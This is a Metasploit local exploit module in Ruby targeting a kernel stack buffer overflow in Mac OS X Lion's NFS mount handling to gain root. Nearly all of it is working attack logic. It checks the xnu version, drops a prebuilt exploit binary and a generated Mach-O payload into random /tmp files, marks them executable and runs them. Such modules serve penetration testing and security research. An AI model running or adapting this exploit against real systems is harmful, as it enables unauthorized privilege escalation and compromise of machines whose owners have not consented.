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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = NormalRanking
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  include Msf::Post::File
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  include Msf::Post::OSX::Priv
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Mac OS X NFS Mount Privilege Escalation Exploit',
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        'Description' => %q{
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          This exploit leverages a stack buffer overflow vulnerability to escalate privileges.
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          The vulnerable function nfs_convert_old_nfs_args does not verify the size
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          of a user-provided argument before copying it to the stack. As a result, by
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          passing a large size as an argument, a local user can overwrite the stack with arbitrary
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          content.
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          Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 are affected.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Kenzley Alphonse', # discovery and a very well-written exploit
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          'joev' # msf module
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        ],
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        'References' => [
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          [ 'EDB', '32813' ]
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        ],
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        'Platform' => 'osx',
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        'Arch' => [ ARCH_X64 ],
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        'SessionTypes' => [ 'shell', 'meterpreter' ],
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        'Targets' => [
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          [
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            'Mac OS X 10.7 Lion x64 (Native Payload)',
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            {
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              'Platform' => 'osx',
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              'Arch' => ARCH_X64
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            }
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          ]
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2014-04-11',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def check
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    if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8"
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      CheckCode::Appears
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    else
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      CheckCode::Safe
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    end
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  end
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  def exploit
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    if is_root?
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      fail_with Failure::BadConfig, 'Session already has root privileges'
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    end
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    if check != CheckCode::Appears
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      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
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    end
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    osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
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    file = File.join(osx_path, 'nfs_mount_priv_escalation.bin')
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    exploit = File.read(file)
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    pload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
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    tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
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    payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
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    print_status "Writing temp file as '#{tmpfile}'"
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    write_file(tmpfile, exploit)
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    register_file_for_cleanup(tmpfile)
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    print_status "Writing payload file as '#{payloadfile}'"
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    write_file(payloadfile, pload)
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    register_file_for_cleanup(payloadfile)
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    print_status "Executing payload..."
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    cmd_exec("chmod +x #{tmpfile}")
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    cmd_exec("chmod +x #{payloadfile}")
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    cmd_exec("#{tmpfile} #{payloadfile}")
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  end
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  def xnu_ver
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    m = cmd_exec("uname -a").match(/xnu-([0-9\.~]*)/)
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    m && m[1]
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  end
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  def ver_lt(a, b)
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    Rex::Version.new(a.gsub(/~.*?$/, '')) < Rex::Version.new(b.gsub(/~.*?$/, ''))
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  end
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end
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